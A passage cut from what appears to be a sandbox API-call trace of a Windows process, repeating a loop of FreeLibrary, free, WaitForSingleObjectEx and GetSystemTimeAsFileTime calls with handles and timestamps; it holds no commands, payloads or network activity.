(hLibModule=0x7ffb1ced0000) returned 1 [0239.611] free (_Block=0x20abc284e70) [0239.612] free (_Block=0x20abc27cb20) [0239.612] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4aa29d4e, dwHighDateTime=0x1d9eb0c)) [0239.690] free (_Block=0x20abc281f80) [0239.691] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.691] free (_Block=0x20abc284e70) [0239.692] free (_Block=0x20abc2abe50) [0239.693] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4aa3af5d, dwHighDateTime=0x1d9eb0c)) [0239.705] free (_Block=0x20abc281f60) [0239.705] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.706] free (_Block=0x20abc284e70) [0239.707] free (_Block=0x20abc27cb20) [0239.707] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4aa618a0, dwHighDateTime=0x1d9eb0c)) [0239.717] free (_Block=0x20abc281c40) [0239.718] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.718] free (_Block=0x20abc284e70) [0239.719] free (_Block=0x20abc27cb20) [0239.719] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4aa618a0, dwHighDateTime=0x1d9eb0c)) [0239.726] free (_Block=0x20abc281e80) [0239.726] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.727] free (_Block=0x20abc284e70) [0239.728] free (_Block=0x20abc27cb20) [0239.728] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4abe68b2, dwHighDateTime=0x1d9eb0c)) [0239.874] free (_Block=0x20abc281f20) [0239.874] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.875] free (_Block=0x20abc284e70) [0239.876] free (_Block=0x20abc27cb20) [0239.877] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ac11794, dwHighDateTime=0x1d9eb0c)) [0239.890] free (_Block=0x20abc281b80) [0239.890] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.891] free (_Block=0x20abc284e70) [0239.892] free (_Block=0x20abc27cb20) [0239.894] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.909] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ac41b9b, dwHighDateTime=0x1d9eb0c)) [0239.910] free (_Block=0x20abc281c80) [0239.910] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.911] free (_Block=0x20abc284e70) [0239.911] free (_Block=0x20abc27cf80) [0239.912] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ac41b9b, dwHighDateTime=0x1d9eb0c)) [0239.920] free (_Block=0x20abc281f80) [0239.920] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.921] free (_Block=0x20abc284e70) [0239.922] free (_Block=0x20abc27cb20) [0239.922] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ad008e9, dwHighDateTime=0x1d9eb0c)) [0239.990] free (_Block=0x20abc281b20) [0239.991] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0239.991] free (_Block=0x20abc284e70) [0239.992] free (_Block=0x20abc27cb20) [0239.993] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ad008e9, dwHighDateTime=0x1d9eb0c)) [0240.001] free (_Block=0x20abc281d60) [0240.001] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.002] free (_Block=0x20abc284e70) [0240.003] free (_Block=0x20abc27cb20) [0240.003] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ad26c40, dwHighDateTime=0x1d9eb0c)) [0240.014] free (_Block=0x20abc281960) [0240.014] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.015] free (_Block=0x20abc284e70) [0240.016] free (_Block=0x20abc27cf80) [0240.016] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4adbf402, dwHighDateTime=0x1d9eb0c)) [0240.067] free (_Block=0x20abc281c00) [0240.067] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.068] free (_Block=0x20abc284e70) [0240.069] free (_Block=0x20abc27cf80) [0240.069] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ade5cd8, dwHighDateTime=0x1d9eb0c)) [0240.082] free (_Block=0x20abc282000) [0240.082] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.083] free (_Block=0x20abc284e70) [0240.084] free (_Block=0x20abc27cf80) [0240.084] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ade5cd8, dwHighDateTime=0x1d9eb0c)) [0240.095] free (_Block=0x20abc281c80) [0240.095] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.096] free (_Block=0x20abc284e70) [0240.097] free (_Block=0x20abc2ab4a0) [0240.097] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ae0c6a4, dwHighDateTime=0x1d9eb0c)) [0240.106] free (_Block=0x20abc281c60) [0240.106] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.106] free (_Block=0x20abc284e70) [0240.107] free (_Block=0x20abc27cf80) [0240.108] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4aef07c6, dwHighDateTime=0x1d9eb0c)) [0240.196] free (_Block=0x20abc281960) [0240.196] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.197] free (_Block=0x20abc284e70) [0240.198] free (_Block=0x20abc27cf80) [0240.198] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4af16920, dwHighDateTime=0x1d9eb0c)) [0240.208] free (_Block=0x20abc281a80) [0240.208] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.209] free (_Block=0x20abc284e70) [0240.210] free (_Block=0x20abc27cf80) [0240.210] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4af3cd75, dwHighDateTime=0x1d9eb0c)) [0240.226] free (_Block=0x20abc2820a0) [0240.226] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.228] free (_Block=0x20abc284e70) [0240.229] free (_Block=0x20abc2abf40) [0240.229] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4afd55f1, dwHighDateTime=0x1d9eb0c)) [0240.287] free (_Block=0x20abc282080) [0240.288] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.289] free (_Block=0x20abc284e70) [0240.290] free (_Block=0x20abc2abe50) [0240.290] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4affb7a3, dwHighDateTime=0x1d9eb0c)) [0240.300] free (_Block=0x20abc281ce0) [0240.301] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.303] free (_Block=0x20abc284e70) [0240.304] free (_Block=0x20abc2ab5e0) [0240.304] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4affb7a3, dwHighDateTime=0x1d9eb0c)) [0240.312] free (_Block=0x20abc281d00) [0240.313] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.314] free (_Block=0x20abc284e70) [0240.315] free (_Block=0x20abc2ab680) [0240.315] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b0225ce, dwHighDateTime=0x1d9eb0c)) [0240.325] free (_Block=0x20abc281c40) [0240.325] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.326] free (_Block=0x20abc284e70) [0240.327] free (_Block=0x20abc27cb20) [0240.327] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b1068fe, dwHighDateTime=0x1d9eb0c)) [0240.420] free (_Block=0x20abc281a80) [0240.420] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.421] free (_Block=0x20abc284e70) [0240.422] free (_Block=0x20abc27cf80) [0240.422] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b12ca56, dwHighDateTime=0x1d9eb0c)) [0240.436] free (_Block=0x20abc281b20) [0240.437] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.437] free (_Block=0x20abc284e70) [0240.438] free (_Block=0x20abc2abe50) [0240.438] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b1eb621, dwHighDateTime=0x1d9eb0c)) [0240.505] free (_Block=0x20abc281a20) [0240.506] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.506] free (_Block=0x20abc284e70) [0240.507] free (_Block=0x20abc27cf80) [0240.507] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b1eb621, dwHighDateTime=0x1d9eb0c)) [0240.516] free (_Block=0x20abc281bc0) [0240.516] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.517] free (_Block=0x20abc284e70) [0240.518] free (_Block=0x20abc27cf80) [0240.519] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b21208f, dwHighDateTime=0x1d9eb0c)) [0240.528] free (_Block=0x20abc281be0) [0240.528] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.529] free (_Block=0x20abc284e70) [0240.530] free (_Block=0x20abc27cf80) [0240.530] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b237aeb, dwHighDateTime=0x1d9eb0c)) [0240.539] free (_Block=0x20abc281b20) [0240.539] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.540] free (_Block=0x20abc284e70) [0240.541] free (_Block=0x20abc27cb20) [0240.541] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b38ee6e, dwHighDateTime=0x1d9eb0c)) [0240.677] free (_Block=0x20abc281d00) [0240.678] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.678] free (_Block=0x20abc284e70) [0240.679] free (_Block=0x20abc27cb20) [0240.679] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b38ee6e, dwHighDateTime=0x1d9eb0c)) [0240.687] free (_Block=0x20abc281d20) [0240.688] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.688] free (_Block=0x20abc284e70) [0240.689] free (_Block=0x20abc27cb20) [0240.689] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b3db487, dwHighDateTime=0x1d9eb0c)) [0240.715] free (_Block=0x20abc282060) [0240.715] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.716] free (_Block=0x20abc284e70) [0240.716] free (_Block=0x20abc27cb20) [0240.717] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b401bb3, dwHighDateTime=0x1d9eb0c)) [0240.725] free (_Block=0x20abc281c60) [0240.725] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.726] free (_Block=0x20abc284e70) [0240.727] free (_Block=0x20abc27cf80) [0240.727] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b558c09, dwHighDateTime=0x1d9eb0c)) [0240.869] free (_Block=0x20abc281c80) [0240.870] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.870] free (_Block=0x20abc284e70) [0240.871] free (_Block=0x20abc27cb20) [0240.871] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b57f0a3, dwHighDateTime=0x1d9eb0c)) [0240.881] free (_Block=0x20abc281e80) [0240.881] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.881] free (_Block=0x20abc284e70) [0240.882] free (_Block=0x20abc27cf80) [0240.882] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0240.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b5a53f0, dwHighDateTime=0x1d9eb0c)) [0240.896] free (_Block=0x20abc281b40) [0240.896] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0240.896] free (_Block=0x20abc284e70) [0240.897] free (_Block=0x20abc2abd60) [0240.897] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.060] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b7228c6, dwHighDateTime=0x1d9eb0c)) [0241.061] free (_Block=0x20abc281c20) [0241.061] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.062] free (_Block=0x20abc284e70) [0241.062] free (_Block=0x20abc27cb20) [0241.063] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b748d83, dwHighDateTime=0x1d9eb0c)) [0241.073] free (_Block=0x20abc281fa0) [0241.074] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.074] free (_Block=0x20abc284e70) [0241.075] free (_Block=0x20abc27cb20) [0241.075] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b76f258, dwHighDateTime=0x1d9eb0c)) [0241.084] free (_Block=0x20abc281b20) [0241.084] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.085] free (_Block=0x20abc284e70) [0241.086] free (_Block=0x20abc27cb20) [0241.086] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b76f258, dwHighDateTime=0x1d9eb0c)) [0241.094] free (_Block=0x20abc282020) [0241.094] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.095] free (_Block=0x20abc284e70) [0241.096] free (_Block=0x20abc27cb20) [0241.096] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b82da6a, dwHighDateTime=0x1d9eb0c)) [0241.166] free (_Block=0x20abc2819a0) [0241.166] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.167] free (_Block=0x20abc284e70) [0241.168] free (_Block=0x20abc27cb20) [0241.168] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b85483c, dwHighDateTime=0x1d9eb0c)) [0241.182] free (_Block=0x20abc281ce0) [0241.183] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.184] free (_Block=0x20abc284e70) [0241.185] free (_Block=0x20abc27cb20) [0241.185] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b87a05d, dwHighDateTime=0x1d9eb0c)) [0241.193] free (_Block=0x20abc281ce0) [0241.193] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.194] free (_Block=0x20abc284e70) [0241.195] free (_Block=0x20abc27cb20) [0241.195] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b87a05d, dwHighDateTime=0x1d9eb0c)) [0241.201] free (_Block=0x20abc281dc0) [0241.202] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.202] free (_Block=0x20abc284e70) [0241.203] free (_Block=0x20abc27cb20) [0241.203] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b8c608e, dwHighDateTime=0x1d9eb0c)) [0241.234] free (_Block=0x20abc281d40) [0241.234] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.235] free (_Block=0x20abc284e70) [0241.235] free (_Block=0x20abc27cb20) [0241.236] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b98587a, dwHighDateTime=0x1d9eb0c)) [0241.315] free (_Block=0x20abc281ba0) [0241.316] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.316] free (_Block=0x20abc284e70) [0241.317] free (_Block=0x20abc27cf80) [0241.317] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b9aba03, dwHighDateTime=0x1d9eb0c)) [0241.328] free (_Block=0x20abc281b60) [0241.329] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.329] free (_Block=0x20abc284e70) [0241.330] free (_Block=0x20abc2abae0) [0241.330] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4b9f7568, dwHighDateTime=0x1d9eb0c)) [0241.347] free (_Block=0x20abc282000) [0241.348] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.348] free (_Block=0x20abc284e70) [0241.349] free (_Block=0x20abc27cb20) [0241.349] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bb024fb, dwHighDateTime=0x1d9eb0c)) [0241.464] free (_Block=0x20abc281a40) [0241.464] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.464] free (_Block=0x20abc284e70) [0241.465] free (_Block=0x20abc27cf80) [0241.465] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bb28930, dwHighDateTime=0x1d9eb0c)) [0241.472] free (_Block=0x20abc281a40) [0241.473] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.473] free (_Block=0x20abc284e70) [0241.474] free (_Block=0x20abc27cb20) [0241.474] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bb28930, dwHighDateTime=0x1d9eb0c)) [0241.481] free (_Block=0x20abc2819c0) [0241.481] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.482] free (_Block=0x20abc284e70) [0241.482] free (_Block=0x20abc27cb20) [0241.482] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bb4ea8d, dwHighDateTime=0x1d9eb0c)) [0241.493] free (_Block=0x20abc281b80) [0241.494] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.494] free (_Block=0x20abc284e70) [0241.495] free (_Block=0x20abc27cb20) [0241.495] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bb4ea8d, dwHighDateTime=0x1d9eb0c)) [0241.502] free (_Block=0x20abc281fe0) [0241.503] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.503] free (_Block=0x20abc284e70) [0241.504] free (_Block=0x20abc27cf80) [0241.504] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bc0d555, dwHighDateTime=0x1d9eb0c)) [0241.567] free (_Block=0x20abc281de0) [0241.568] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.568] free (_Block=0x20abc284e70) [0241.569] free (_Block=0x20abc27cb20) [0241.569] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0241.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4bc0d555, dwHighDateTime=0x1d9eb0c)) [0241.576] free (_Block=0x20abc281b20) [0241.576] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0241.577] free 